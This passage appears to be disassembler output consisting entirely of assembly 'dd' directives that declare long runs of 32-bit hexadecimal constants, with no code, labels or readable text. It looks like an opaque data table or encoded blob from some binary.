		dd 9E4AE0CFh, 0A5477C79h, 29C155ECh, 2A321595h,	12016BDCh
		dd 0B71B1DB5h, 48B312EBh, 0C94E78E3h, 2E8A7FE8h, 57C38101h
		dd 2028EE45h, 379AF968h, 2DDD8295h, 891C1432h, 5525318Dh
		dd 1516E8B7h, 0B8146161h, 41E49940h, 0F96B257Bh, 46D62054h
		dd 67491815h, 9C0C59BEh, 652D9DB7h, 46BD71CEh, 903B01Ah
		dd 19022FA0h, 75257871h, 3C09DF37h, 25B166BEh, 98648E0Fh
		dd 62A532B4h, 1859FC93h, 2050AB29h, 1356F54Ch, 71AA0291h
		dd 2B880FECh, 2E00938Ah, 0D54EA313h, 0D8008652h, 9F5D9B2Dh
		dd 1248B13Ah, 0E2E47179h, 2CB95B3Bh, 0F30101BCh, 17A159B7h
		dd 177A2D82h, 6AF8A8CCh, 27DE0052h, 0F65C0569h,	241446D6h
		dd 4D02AA98h, 0D94C46D0h, 6096809Dh, 58C88B53h,	0EE0FB098h
		dd 7F506178h, 0A7FF5125h, 0CB3999E4h, 84120016h, 941A6F9h
		dd 0D2DB0F64h, 5AC1F04Ah, 2E8F0F61h, 96958837h,	0D96D64FFh
		dd 2EDA7FC9h, 0C9C018C8h, 4B201DC5h, 4F3F8A75h,	9B4B07A9h
		dd 8B0496B6h, 0CDFF0CCDh, 83827A11h, 0B650042Eh, 0E5E30B44h
		dd 351CF56Bh, 0FC0E49Fh, 0A437AFE6h, 2D6A7C60h,	0D84BADA5h
		dd 0D6BB5400h, 95346404h, 0B7AD455Ch, 9462016Fh, 912DF337h
		dd 0E85EC9B2h, 7E13AB69h, 8079EC28h, 2C4FF843h,	0D47C001Ah
		dd 41789750h, 1A98F0EBh, 0EE3AE70Bh, 0E3A8801Fh, 4B9BF455h
		dd 6C598D70h, 90D31421h, 0C4318E4Eh, 74AB0FA9h,	0E0BAE63Fh
		dd 3EC110FFh, 0EC89399Ch, 85F0533h, 0DC60DD29h,	3B0ACF28h
		dd 780019B3h, 5FA7D3CCh, 909AD6AFh, 38AA054Eh, 45C13668h
		dd 0E698529h, 943752Eh,	0F0C1A977h, 3AA72BC6h, 205CFCA1h
		dd 94B43D2h, 9A5A458Fh,	0F54B80B8h, 5E1A3CB9h, 8253B88Bh
		dd 0F5F42DE9h, 3F4049CFh, 25BC5CC7h, 0B0DEC18Bh, 0ABC701DCh
		dd 15EEF1A1h, 0F5FFE8B8h, 0E408BF04h, 0A9BA2A25h, 3C39A9A1h
		dd 0C7B34787h, 0F2BE3061h, 0F54F9FA3h, 0B728D6FCh, 0B73175ECh
		dd 9ADD00ABh, 76C65F8Fh, 28BEA900h, 216343D1h, 0CE3801AFh
		dd 71739193h, 0C9A1D4DEh, 5F6293B4h, 1DB7776Ah,	0CDCB5786h
		dd 57EB33Ch, 0BF45BD23h, 2C2DC621h, 17900E04h, 197419C9h
		dd 0B27200DEh, 9E9C7087h, 1B0497B9h, 165DB529h,	0A5C244FBh
		dd 2CDAA23h, 0FD8A8F10h, 34B73B50h, 80EBDB5Fh, 0BFCA476Bh
		dd 60281A58h, 7C83462Bh, 0D092A5Ah, 0D5A0FABBh,	25213B6Ch
		dd 7E41C816h, 8C1B2C00h, 0E31913BFh, 0D1FF2F53h, 6BE013CDh
		dd 314B2B1Fh, 0F61B07E9h, 0AFC6EC85h, 9819717h,	0A8DF12BEh
		dd 2271E273h, 4462026Ah, 908FC95Dh, 54007073h, 7899A551h
		dd 0FE000463h, 2A6C97B4h, 143CD946h, 0C9DA6EBAh, 1DD99021h
		dd 95003918h, 0E103567Ah, 5A520782h, 0B249A610h, 70853114h
		dd 2340ADE4h, 105D25E9h, 2192C065h, 0F3A66412h,	996040F0h
		dd 0F8922D02h, 0DF0D8D29h, 9784104Ah, 0BB52000Ch, 5B15444Eh
		dd 81E08759h, 6A5FA6D2h, 1BB217B6h, 8D01E1EEh, 1943A707h
		dd 0ECEAF04Ch, 42B32F90h, 16D88B7Bh, 0A4230F3h,	29CC18B2h
		dd 154A4FB0h, 1894C7B2h, 0D04474C0h, 9C5B7216h,	78CE5EE8h
		dd 0D1ED2C41h, 0F3252B2Eh, 35E8B7F9h, 0D7A5EF0Fh, 7FB8E01Ch
		dd 4F66B351h, 4F94F35Fh, 0DD2A80E1h, 0DFB31A05h, 7CF378C0h
		dd 4B2C9F7Fh, 65FB00Ah,	7C76569Dh, 7B94309Dh, 3C93767Eh
		dd 578B2C6Ch, 538291CAh, 6CFD2111h, 2B8C004Dh, 0EF1BAD26h
		dd 6002C9ABh, 1F3D7688h, 1024FE8Dh, 0CC5B2530h,	1AA203Fh
		dd 31B9E083h, 2E8BC1B0h, 0C62EEFDh, 0E6021FF5h,	92927D70h
		dd 80EC715Dh, 6AFBC1A9h, 0A302E132h, 0A58629D4h, 23B6608h
		dd 27EF4776h, 6AC0B34Ah, 909771E4h, 12C956E1h, 0E4DF7865h
		dd 9BD15D72h, 0CC870139h, 0C41E5F50h, 4C7D287Eh, 0C71D4217h
		dd 822CDBB0h, 0C8B6F602h, 1512F174h, 205F91E6h,	0C6F6C57Ch
		dd 0BB374C03h, 0A00A472Bh, 456677Ch, 0A69BD5BFh, 12A0B869h
		dd 2ECD820Fh, 1427FB2Ah, 0BB645779h, 0C2F8E00Bh, 13EA005Fh
		dd 92085FDh, 0C8B8270Dh, 0BB2EB970h, 68A52E33h,	0FE2BDEA1h
		dd 0EE810260h, 6D7437B0h, 0E50798DFh, 0A1200109h, 270C4F58h
		dd 91EFD881h, 5A839700h, 4496BF61h, 8B4B163Ch, 9D9204D1h
		dd 0B5E9062Ah, 25297A45h, 0BFC42375h, 4947551Dh, 8466DF8Dh
		dd 0D8BE142Bh, 9A6E7AC0h, 0A3719605h, 0DC5F5E00h, 0F333B286h
		dd 0D8381AC9h, 82DF349Fh, 0D5053985h, 24B4C11Bh, 401689ABh
		dd 0E9A35137h, 0E4C86A4Bh, 0B5A87DE3h, 0D997A25Bh, 72CCC8C8h
		dd 719903FEh, 6A6E404h
		dd 8AF3B894h, 0F7842644h, 0DCAACE69h, 0E458642h, 0BF80BA38h
		dd 0AD58DF9Ch, 1CEB4D0Bh, 8B740818h, 413F949h, 0AEEEF56Eh
		dd 0D3C083B9h, 61978FDAh, 0E0623C12h, 920B12F6h, 0D318ABh
		dd 68C86979h, 165B3957h, 0D9EFC72Fh, 0B4AAC541h, 829C7B51h
		dd 32E81BE1h, 7963205Bh, 561AE52Dh, 1A52DEF9h, 25F65E38h
		dd 2D3AF82Ch, 0B9587276h, 0B42FD5Bh, 4368F549h,	0B79FFCE1h
		dd 0D969006Eh, 765B778Dh, 7336FE09h, 99442Ch, 99C157DEh
		dd 1A3EF8DCh, 24494600h, 0CDEAAF03h, 0B5E001A3h, 5FFACF80h
		dd 0C32520FCh, 5B9D6A75h, 8553F84Eh, 140C82A1h,	0C258E8ABh
		dd 55200DB5h, 0B5276F79h, 20710000h, 583DD979h,	56B3FB13h
		dd 3E6F21AFh, 0C685E436h, 0AA289100h, 0B9E1E59h, 2D087CECh
		dd 0C45C5417h, 0DAEB5B65h, 13A548B9h, 60FE10E5h, 6CA74A5Ah
		dd 4D3C1A04h, 348C0724h, 0EF59031Dh, 6A80AFF9h,	53885FDBh
		dd 0EBBD8D89h, 880DC998h, 0B3DAB73Ah, 89E8E20Ch, 0E9BAD539h
		dd 0DB667Dh, 0ADC4B5F4h, 2F4EDD01h, 0A02A9E00h,	0BCEE264Ah
		dd 845F50B0h, 0E6035EADh, 301DF2E6h, 7F00C1C5h,	0FD977B4Ah
		dd 0B09874E1h, 221525C7h, 3CACE7E5h, 272900D6h,	6416BA94h
		dd 0E59512EEh, 4C73E95Fh, 0F3F01D51h, 39351396h, 8084DB4Ah
		dd 4F2AA7B8h, 13D9EACEh, 0A2F86DEEh, 0A5888816h, 1A4A36F8h
		dd 0F85B80F6h, 0E7E3E17Bh, 32B307Bh, 619A959Dh,	70F75B4Ah
		dd 0D6A8E35Dh, 0C9CD0803h, 8A953102h, 73F15510h, 0A08B8380h
		dd 25510AE5h, 0B7FFE1FFh, 7DF00070h, 6D9072C2h,	7D0EFC4Dh
		dd 0A5B8065Ah, 6F5F76E2h, 0A6DD605Ch, 8EA073EDh, 0BFBEE2CCh
		dd 5EAC6952h, 0AB93335Eh, 0EB07C6D9h, 0BB070CD4h, 1855A20Ah
		dd 0ED51A374h, 1C5BD2h,	5FB824F0h, 0C37731B6h, 88D96A00h
		dd 0CE791F89h, 0AAFE2782h, 0E6A180C6h, 60AC34C5h, 6F782E9Bh
		dd 85F94EF6h, 3F6EEA98h, 2F41200h, 0E8D2D5CEh, 457A0084h
		dd 7B17609Eh, 6F000E22h, 15EBE437h, 1266DC33h, 0AE9646BFh
		dd 6EAAB253h, 954F04C4h, 0CCF15330h, 1C73D82Bh,	23359786h
		dd 6E32F903h, 8C9BAB22h, 0F5C0D0B8h, 0BABBCB81h, 4613C027h
		dd 9BDBECFh, 0A1D26C2Dh, 0AB9FBF05h, 3EE144E9h,	0A68F0Ch
		dd 546308BCh, 1845A1Fh,	9DD85600h, 53197F26h, 0F37EE35Bh
		dd 0CF872CC7h, 0C075CDCBh, 9D2BD191h, 4D7D2BFh,	2A77068h
		dd 0EC5B872h, 0F41DA48Fh, 7E4F25CEh, 0EBAD1237h, 8501167Bh
		dd 89377A5Ch, 6A79219Ch, 8EB1BB27h, 0E62A1B53h,	301BB2D3h
		dd 93026FEAh, 62B4CB20h, 40E874E8h, 81DEEF68h, 0E5033A00h
		dd 61F1EA4Bh, 0B6780B56h, 0E9724054h, 0D2CEE925h, 5D851043h
		dd 0D7F8A20Fh, 0E18DA230h, 0B9961F42h, 45FB852h, 7428EBD9h
		dd 5B18E9F1h, 0BF92FB9Eh, 1448FAA2h, 0F8EEBF02h, 3274227Fh
		dd 3CB5EBh, 4D96D75Fh, 13047666h, 89A279CBh, 0EBCEC5ABh
		dd 60973DDAh, 856741DFh, 8620964Eh, 7BD13114h, 30F7120Ah
		dd 0A32DAE05h, 0FCD69E2Ch, 0B87CA0DBh, 82310047h, 65C5A137h
		dd 5F2D516Ch, 955B505Bh, 1664FDCDh, 0BBB2267h, 5300B0F8h
		dd 8CFC683Ch, 380F648Dh, 604E2B82h, 0CFA322F0h,	69075F1Ch
		dd 0D0DCF1C0h, 202A23Eh, 8BD844BCh, 0DB7187A7h,	609F2300h
		dd 0FF9BD0Eh, 50667F4Dh, 5BC19CE2h, 8F03DA48h, 6D64922Dh
		dd 87AC14Fh, 0B73030C1h, 0A58CDB4Eh, 2EBE0560h,	0C13F09A5h
		dd 81DE2h, 0EFB75061h, 25014C34h, 7C4259BDh, 910835D7h
		dd 20EE931Ch, 79B36AA6h, 67B07A4Eh, 0F87BC911h,	3F851C57h
		dd 0CA4B52BFh, 533D2777h, 40B6D828h, 0B958004h,	4FA8F5Dh
		dd 0BB2EE958h, 0B73CDCh, 0D235D49Fh, 0CE661514h, 40B4B10Fh
		dd 6BAE529Eh, 3017E26Bh, 9E2E3C1Dh, 0F90977D9h,	0F402742Ch
		dd 416B5E00h, 0BC78AC94h, 0EB80131Ah, 8592A21Fh, 0D5F904EDh
		dd 0E7DC0E80h, 0FC4C3227h, 4EFD38CBh, 0CF1050CEh, 0D6B65A04h
		dd 267DBD08h, 6046CD72h, 964B61ACh, 859D8909h, 0AF8AD30Bh
		dd 0A9C4C58h, 0D6A65C2Fh, 735AB19Dh, 0FE80DC3Ch, 53C9BC9Dh
		dd 24337D0Fh, 1340FDDDh, 566DF238h, 4F950A1Ch, 1B855003h
		dd 0FAE53704h, 34897581h, 286F7Eh, 877BDAD7h, 12766C23h
		dd 0AABD03C9h, 0CD4E7ACAh, 27BE6889h, 0A0DF4E04h, 0AA3B5FE4h
		dd 5DFB5D9Ah, 169F8AD0h, 0B937C041h, 77A9D3DCh,	26AC2AA9h
		dd 2BCBF5D2h, 8B6EAFh, 0A49C36F1h, 1421FFE7h, 880C2833h
		dd 0AE0A7D13h, 17230D6Fh, 15C77E00h, 2D950137h,	0B8591961h
		dd 0CDF6E225h, 0F6CEE0E4h, 0EA0790F9h, 249CBB48h, 16B1537Eh
		dd 5325C096h, 0C19AAB02h, 43289893h, 89EFF3BDh,	0EE02526Dh
		dd 0D5090581h, 161113B7h, 0BE968684h, 813C1FA1h, 4C504B1Ah
		dd 50E345F7h, 54C2FFF4h, 0DC6179EFh, 90114085h,	2A04BF32h
		dd 5BA2CB80h, 0C8379AEBh, 0BBB3C01Ah, 150077A7h, 8B961967h
		dd 946050D9h, 0E0FF4782h, 717C0D5Fh, 67F5B103h,	0E064AD39h
		dd 571484h, 3665B966h, 61B5B25Fh, 0BC25965Dh, 0BEC7FE7h
		dd 0E6E38084h, 77BD89A2h, 0D45EA8ABh, 53EF0CF6h, 401508E9h
		dd 52E8700h, 36C52822h,	0A5B51389h, 4E74B725h, 0F912EDA8h
		dd 80DBAD31h, 0DAA6F02Fh, 7379B5E4h, 0F4BD9E64h, 0F7F03AEDh
		dd 0BFBD0026h, 3E97CD95h, 53B66096h, 0D918CA43h, 24F00C70h
		dd 0FD1E0016h, 5C755762h, 60EA718Ah, 50596102h,	5548B352h
		dd 60C12FD9h, 11D5BA66h, 7A2E892Ah, 6C81A7B3h, 455F2FB7h
		dd 14686FEDh, 0D3A0B778h, 0FBE125BFh, 778C040Bh, 0FAFC0818h
		dd 549CD1BDh, 0DC85E11Fh, 30EBF412h, 918D0187h,	3CEF0E52h
		dd 9C26A095h, 0A7132EB8h, 44957D46h, 5E0F0FB1h,	0BBE52193h
		dd 0F3C2BF13h, 6A5F0519h, 9152359h, 7A01C759h, 3B8E92DFh
		dd 0D952A732h, 0C47F00CEh, 1E8E65AFh, 7B019998h, 886E188Bh
		dd 0C5440D04h, 0C95FF3BAh, 5B568751h, 12DD9DE1h, 0F4E7F66Ah
		dd 45DEC9Ch, 624A14B9h,	11D8EC2Eh, 27000AE9h, 0B91FC9E0h
		dd 530EE8E6h, 12C65C12h, 0B7BCFDBDh, 4CBCA14Eh,	2EC308E5h
		dd 5DD7E909h, 0BF1F3C50h, 0C1D42FA1h, 377D37FDh, 3D64C25Eh
		dd 0DECED419h, 0F58D1616h, 0B5162913h, 4BE8FBBDh, 0D2DC6B02h
		dd 9805A595h, 0D1BB9Ch,	26FA9C6Ch, 3F5E839Eh, 806F9C8h
		dd 19226230h, 53CAC900h, 0AEA27274h, 0F8B904A9h, 0B30FE280h
		dd 0DF2D6978h, 2A801537h, 0BFEF6F76h, 0A3E01441h, 0C22DB105h
		dd 35081FD6h, 5A852815h, 0BD54D1ADh, 17AD3395h,	50A72361h
		dd 0AF291FA0h, 19CCF064h, 0B65F17BCh, 0EBC000BCh, 7F3EACF4h
		dd 0FE583F99h, 0A2BF2500h, 0C616077Ah, 0B4AAA000h, 1E922D3Bh
		dd 0B5290049h, 0C08DB93h, 840136D6h, 8748DD67h,	22D07EA8h
		dd 5DA20063h, 23F033E5h, 0EE007928h, 1AD5F3B4h,	0BE16036h
		dd 22020B69h, 1D6E6D80h, 2C0064B8h, 1A06869Fh, 0ACF9A6h
		dd 5FC1BB7Fh, 4D19FC27h, 0A7E4C860h, 70A464h, 1873969Bh
		dd 10F3741Ch, 195ABC1Eh, 0A3FF0F7Dh, 5C442712h,	7C012850h
		dd 0DCE830DAh, 0BC60A554h, 8B3BC971h, 3E6680F3h, 3AED31B6h
		dd 1FE97115h, 6A18EC3h,	182CBAD8h, 8A145F3Ah, 0D61EC534h
		dd 0EB733C00h, 2618E2AFh, 302897BBh, 2870A810h,	5C010703h
		dd 3009B3CFh, 0C8219409h, 0FE002868h, 0C9702C10h, 1EF4979h
		dd 9A9D4FD3h, 871E9CD5h, 81188828h, 0E806D847h,	7CB0011h
		dd 0F362704Bh, 6A661CACh, 7521FF09h, 484B01ABh,	0F535B08Bh
		dd 98C880E2h, 17E9CF38h
		dd 9C5C305Eh, 6D8819D0h, 38B20330h, 0D5CFEBh, 0E438B6DBh
		dd 0CC30EF3Ch, 21C808CCh, 0DBDD0FF4h, 70072EAh,	0AD77426Dh
		dd 0B0D28A31h, 84407161h, 50E14414h, 0C5039029h, 7EA3BAh
		dd 0F13A64F5h, 0E80F278Bh, 0A081B0BDh, 3BCD97DCh, 5B2B005Fh
		dd 314C4B6Bh, 27004E86h, 0BDE70DAFh, 88C68Dh, 0EA668A50h
		dd 1A56B476h, 0FB184200h, 68B0717Bh, 6C4D00B3h,	0D5D4523h
		dd 0C000B35h, 7241238h,	4839FDh, 526D374Bh, 2D7F09D6h
		dd 0ABB94700h, 9FD9C713h, 59100B1h, 0E49CDF55h,	4700DCD3h
		dd 29511AB0h, 1ED6079Eh, 0C06BC7C4h, 8CCF6C71h,	0A438E6A0h
		dd 42AA0023h, 37A9F96Dh, 562D0047h, 308B571h, 0ED000A8Bh
		dd 0F7B6EE73h, 0BFEC7Bh, 9C0287C9h, 3C037C8h, 907468E6h
		dd 0B53A4478h, 15FD009Ah, 964B22CAh, 53FC00D0h,	26D954F5h
		dd 19C05245h, 1002DF7Eh, 3C5E7C14h, 84147A60h, 0BA06F0A1h
		dd 2839FA5Dh, 0BC55030Ch, 162D61B9h, 0EA662486h, 15B48003h
		dd 9640A811h, 0CC4500D3h, 3D2812FDh, 30C3D489h,	215F9990h
		dd 0D700E128h, 23ECA2BCh, 2CE0063Dh, 78CF8CAFh,	0FC503206h
		dd 86D160D8h, 697C311Ch, 9CE07719h, 0A864FC0h, 4298875Eh
		dd 2526063Ah, 1AC02FFAh, 21339880h, 0A1115C15h,	13D1D600h
		dd 8DEAD4E1h, 5CAE2B01h, 5A1A506Ah, 4032080h, 44EC107Eh
		dd 153639h, 0F09F2645h,	181DB293h, 0B15173FBh, 7900626Ah
		dd 0F38AB72Dh, 74EE27D1h, 0E3F90CD3h, 73515268h, 2E313A67h
		dd 25D9BD61h, 0DDFCF0h,	452C9F2Bh, 0EC3B9382h, 0F8E87E0Ch
		dd 883D7884h, 85019B78h, 0F0E3CCFAh, 0A0410752h, 7E10135Dh
		dd 0D0507CD7h, 0C500DF98h, 0CBBF3EF0h, 109B3Ch,	75DF292h
		dd 3B9D8068h, 0DFFCE90Ch, 0E4B47929h, 240450C6h, 6F52889Bh
		dd 3C738000h, 0B0E43B2Bh, 5C8E2825h, 0D0A501BCh, 86A15FFFh
		dd 585BD484h, 7E143615h, 8FDA04A0h, 3888BAB0h, 112142FEh
		dd 0A3CD5BBh, 930FEF0Ch, 0CE18B011h, 389A8499h,	0C711333Bh
		dd 2100A608h, 6199D6D5h, 0DBBC2Ah, 0F563A719h, 551AE631h
		dd 0F8EFB4A9h, 130051A8h, 87CF16Fh, 1A2B6DEh, 0C9E50247h
		dd 83926273h, 0BE455050h, 93983E27h, 1DD0472Ah,	920E4Ah
		dd 5174D5D4h, 340F406Eh, 4084F44Fh, 69F6875Dh, 2097031Ch
		dd 0BC648FF2h, 9136E803h, 232538BFh, 0CC05EDD8h, 0B2848699h
		dd 20B96C22h, 6099D4D7h, 31A4070Fh, 553661AAh, 218396B6h
		dd 40DB8629h, 91EC05F8h, 7C486090h, 0FD578728h,	0CB0E7E1h
		dd 66B858CCh, 213F08D4h, 40E57C00h, 0F499DE67h,	50BA0006h
		dd 56B8FEDFh, 0B23E4EABh, 87448EA8h, 90401288h,	0F8FAECE3h
		dd 5B180C7Ah, 8098294h,	14C321C0h, 0F2FE17FAh, 1BC100D4h
		dd 6CAF7748h, 2B199D42h, 0D0A840BBh, 0E1F6FB18h, 11FCB023h
		dd 0E37A004Eh, 0DBEC6F40h, 38E404A3h, 973AEE5Dh, 1727A038h
		dd 0B00AFBC1h, 0C303645h, 2CC66004h, 20822C82h,	0B04678F6h
		dd 3FCE2D13h, 309B1447h, 0B49F68C0h, 73EA2410h,	5BA63CB0h
		dd 8C448A64h, 0FAE7C080h, 0F0467AFDh, 0C6021722h, 1AECFAEFh
		dd 7F3C4854h, 41FB012Ah, 9BD34FB4h, 94EFEC6Dh, 59023B02h
		dd 91BD55D9h, 1FD4C9E8h, 78D1803Ah, 2A04914Ch, 0B20D843Dh
		dd 0B8338E45h, 25E09CC1h, 6424506Ah, 4630903Ch,	99C802E9h
		dd 31CF2982h, 0D0D310A7h, 62E90099h, 0D9B83C88h, 7A261193h
		dd 0EA1A042Bh, 0D4D80479h, 0E540FF60h, 111CB023h, 827E3D4Ch
		dd 898DA640h, 658CA0F8h, 3ACEDA4h, 522A28Fh, 88AA3C0Bh
		dd 78B69C90h, 0B1116839h, 0A5FD1A66h, 29D8F261h, 0C48705A9h
		dd 84CA24AEh, 5BAC40ADh, 0ACB61BD7h, 0C878101h,	0C883A39Dh
		dd 4C19B4ECh, 8840ECBEh, 0CB048C14h, 0C7297F99h, 0D020B862h
		dd 3999D3h, 0F48BAAA8h,	0EC334A2Bh, 50FAC532h, 0A1044458h
		dd 0E6188D0Ch, 7AFEFA08h, 0EEC570C8h, 2C72FA00h, 0C704E67Bh
		dd 0E07D4878h, 246C2310h, 0F5748CFBh, 8000E518h, 74C43B59h
		dd 58FE6E2Dh, 84407877h, 23C030E8h, 0C9D9B7B8h,	0DFF09102h
		dd 6817B124h, 7342E4h, 9404C139h, 584413EFh, 35057001h
		dd 0C3F6ECD7h, 7E2D4083h, 583D7AFFh, 1A138031h,	78342A5Fh
		dd 635CAD84h, 0BBE8CCFDh, 2B09307Eh, 21526F6Eh,	0F988FA7Ch
		dd 56019C57h, 69E41BC5h, 104301FBh, 2847362Eh, 48A4D9E1h
		dd 9A0020DCh, 752A4F0Fh, 1A1E040h, 0B07A8630h, 0D4672FF4h
		dd 117E54C0h, 0BC99AB2Ch, 63003391h, 0EE078D98h, 0DE775E83h
		dd 938EFD3Dh, 38545052h, 184420BCh, 3937D6FCh, 13608998h
		dd 36E850A9h, 0D2EC0F40h, 8CA0D309h, 0F8BA16FCh, 0A2944200h
		dd 7A934BD1h, 805C59AFh, 2082B800h, 6DE3B2CEh, 3D9A938h
		dd 0E629DB02h, 0AF9AF0D7h, 361CF7Fh, 21AF980h, 98A09E1Fh
		dd 0EA813DFFh, 0E2DAC30h, 82933BD5h, 0E4DCDDE0h, 0E8B8B0FAh
		dd 0D805340h, 0FC883B7Ch, 4D98E751h, 0F006585h,	0B74979A3h
		dd 0C690C7Eh, 0FB896286h, 0A403A229h, 0ADCF2042h, 98CD83DBh
		dd 0B88DD01Fh, 86AF1740h, 2C4400D4h, 4E2A71E9h,	757613Ah
		dd 0C963095Bh, 0A6DCEED0h, 84050E7Eh, 6C8C7F6Eh, 0B13B9821h
		dd 0DA40019Fh, 739D15Ch, 9E3DB0FFh, 0C4B8015Dh,	0FBFA5AA4h
		dd 330802Fh, 0A140428Bh, 25560605h, 81EAD57h, 6A217460h
		dd 0BE404Ah, 7E77646Ch,	5262ACD9h, 171271C0h, 0B68E3Eh
		dd 94D02F3Ch, 0C94EDF16h, 38F7A1Ch, 8091BE41h, 35CC4DC5h
		dd 0EF2A005Dh, 17DF9332h, 2F30CC49h, 0DD02685Fh, 0A86160C2h
		dd 0AC54E5BEh, 2B023376h, 0AFABE8CFh, 1FFE3A5h,	73870920h
		dd 4ECBF04Bh, 0AF651120h, 0C2C1AD80h, 8A00FE39h, 82F1E6D2h
		dd 0C09BFC24h, 0BA8F69E9h, 2D03B656h, 80BB3F9Fh, 0FF4EB82Eh
		dd 0EACF0062h, 0A014DC8Bh, 0BF007116h, 3E31469Dh, 30245EE2h
		dd 0A589CAD7h, 0B0ACF35Ah, 15DD454Ch, 88B0EE05h, 4CC1809Eh
		dd 169B1840h, 2B7CAE98h, 0E9D79101h, 80672895h,	8E6031E3h
		dd 0E371DC31h, 633D2903h, 0A76DFCC4h, 0FDA482C0h, 84503CBh
		dd 62426B1Eh, 7D0189EEh, 0E8386107h, 0C44736F5h, 32C5A50h
		dd 7494002Dh, 0E4DD1913h, 1FFC738Dh, 117268CEh,	0EFA22900h
		dd 8EA08247h, 988A5F19h, 21803C08h, 88EFAAC0h, 200946DDh
		dd 27E5E9Bh, 41143406h,	4318F938h, 5AC400Ah, 6B70881Eh
		dd 0BB400E4Bh, 70F1DB9Bh, 5849E818h, 0A09A01B8h, 0A45A3488h
		dd 1EF646B8h, 5DE4046h,	77511E3h, 9D404E6Eh, 67DE228Fh
		dd 0E556C062h, 60916055h, 4C8A3916h, 63CB33Ah, 0CBDE9BFFh
		dd 0D5823F89h, 5097EA0h, 55E20Dh, 9284E338h, 5907025Eh
		dd 5A71DF9Bh, 0A4049042h, 0EFA560B1h, 88822344h, 0C3002811h
		dd 6923EFADh, 1E002A41h, 0DABCDFDDh, 3CA08473h,	0CA0451D9h
		dd 949F868Bh, 4A1082C0h, 0F2F8B531h, 22C646DCh,	0DD440167h
		dd 5DD2EB9Fh, 0EB43EDD9h, 9283F680h, 53615805h,	94043501h
		dd 3488722Bh, 0CF051F1Eh, 36970028h, 5C394DADh,	82F63201h
		dd 0D264DA22h, 111A092h, 0D824B0F0h, 0FAB85084h, 93246246h
		dd 0D240442Ch, 0D2A044Bh, 83FCC35Ah, 1C92F429h,	28164E00h
		dd 4B01D010h, 806E0013h, 14D968DAh, 601EE78h, 0AD09F05Ah
		dd 0A9805F22h, 0C81AEB7Bh, 370C1511h, 8C5DA2Eh,	1D21C380h
		dd 0C09C1AF3h, 7569839Dh, 245FC224h, 359AE42h, 31B20E84h
		dd 700E88Ah, 0E80725A0h, 0F4405211h, 0E57D3A43h, 0B9053C01h
		dd 0B1DA669Eh, 811430F8h
		dd 80590024h, 15F094E9h, 30F20944h, 6F19CFCh, 0DA00635Fh
		dd 32D3CD60h, 4CAF0A82h, 0C101B626h, 0EAA8D1C9h, 32EAB97Dh
		dd 29FE88A4h, 732C8582h, 546FB484h, 1F72384h, 5A24041h
		dd 8877184Eh, 13B0496Dh, 7DD15350h, 9BCAA601h, 268DE951h
		dd 263D3C30h, 12408C8Ah, 940C0849h, 15861282h, 0FCF06064h
		dd 0ABA0A8CCh, 0C67C2868h, 850A02ECh, 399AA505h, 0DBDDC868h
		dd 0B03CEC24h, 31795B03h, 31299BD1h, 0AE60DE68h, 0A2F1139Bh
		dd 0C8F0B393h, 4611B21Ah, 588322C5h, 0FE00E31Bh, 0A95EB435h
		dd 0BD31BE17h, 5283A02Eh, 228D9452h, 4F40D3ABh,	100C5D92h
		dd 498E0156h, 23080AA4h, 9B0EE27h, 10024883h, 0D2005A3Ch
		dd 7998DFE9h, 5D1B80DBh, 5ACE58C4h, 7B6AE24Eh, 0CEF11D4h
		dd 3044D2E3h, 6487198Ch, 52577026h, 0EF30A974h,	11B4111Ah
		dd 808188F5h, 0F41AF719h, 5790A223h, 0FCFA2709h, 91849F0Ch
		dd 96A28173h, 3420120Eh, 2A32E6BFh, 0AD505AD2h,	25AC60B4h
		dd 0B90042D0h, 0AABD1BD4h, 61F1AD68h, 6ADB7986h, 648CC8BAh
		dd 36029700h, 256C428Fh, 0A846861Fh, 0C91AEE02h, 8E311D11h
		dd 1AF61E10h, 0E9B53403h, 0A5C0756h, 4829419h, 84003CC4h
		dd 0DEB723EDh, 24183993h, 4918083h, 1C625D0Dh, 0BEDCD124h
		dd 4A1A0C01h, 8082FBE9h, 932D5429h, 1D9A2789h, 0F022385Ah
		dd 0D95F8B69h, 0DD0AEC77h, 0FC44CB1Bh, 80B9398Fh, 72B4A1EFh
		dd 4E163A69h, 3826E00h,	0C2F519D0h, 0A3806C01h,	0E3A0A820h
		dd 582DD8C0h, 67003082h, 2CF14AD4h, 13000C2Ah, 584CDF42h
		dd 0C93EDC5h, 0CC9FD1D5h, 0BE3E1640h, 38100D2h,	62DF5B32h
		dd 0FE3F005Dh, 0BBD57DF1h, 0A00194BDh, 9BA37317h, 50240113h
		dd 9D209F9h, 0C405386Dh, 0D1848142h, 9B870136h,	88DB8020h
		dd 0B6240504h, 0CD86E849h, 2285595h, 1DDE45EBh,	74C4A37Dh
		dd 18F57C98h, 45EF08A0h, 33C47082h, 0EFA8C640h,	580C6A35h
		dd 193E179Bh, 0C85C5462h, 65E034h, 2D5D16Fh, 172006FBh
		dd 2A954E12h, 0AA43F400h, 7CD2F7B8h, 99B618EAh,	0E9DA1875h
		dd 0A459A92Eh, 4E5C1689h, 9C754124h, 0A42CA238h, 0EDDD8287h
		dd 0E19E05Ch, 70CBAA05h, 0B72734C1h, 0C8682942h, 0E720213Ch
		dd 90C818C7h, 0AB87DB11h, 9882C2EFh, 0C9112E31h, 0BE0E3093h
		dd 0AE250C00h, 47116051h, 3509E48Dh, 8E024F5h, 0F2C0949Ch
		dd 4611B51Ah, 0FC8622FDh, 222E4FAh, 648D4E68h, 241AFAEh
		dd 15602040h, 8C45B0A0h, 3C900782h, 39A6F9B0h, 6ED50BBEh
		dd 84823250h, 0A8AB1AADh, 29659002h, 4C79FE00h,	5CD931DDh
		dd 32F53A10h, 1FC2354h,	5A34044h, 0B00828E6h, 0B4043C0h
		dd 561505D9h, 0BD58282Ch, 10567C41h, 5C6C9458h,	68049E46h
		dd 0B0F20E65h, 0CD1A3490h, 41587875h, 0CB0805E4h, 344BA203h
		dd 27FCDEDh, 0CC1AD220h, 48E0DACAh, 3AE2F106h, 4910C4A0h
		dd 0D53EEF00h, 0DA702928h, 42781Bh, 0A57662ACh,	22C285B6h
		dd 80A33C3Bh, 7DD5EBB7h, 0E2BC56Ch, 94536F9Ch, 1FBB8FFFh
		dd 0B0F226E0h, 61FB157Ch, 3592F098h, 5107E67Ch,	0B92C2523h
		dd 5B24D240h, 0FD96008Eh, 38B38FF2h, 0B674E73Ah, 78216260h
		dd 9E9516h, 77AF1809h, 65912256h, 2CA0FD0Ch, 1026026h
		dd 6D23BBF7h, 8E53E6B3h, 0DA0FC68h, 48A02046h, 38BE2010h
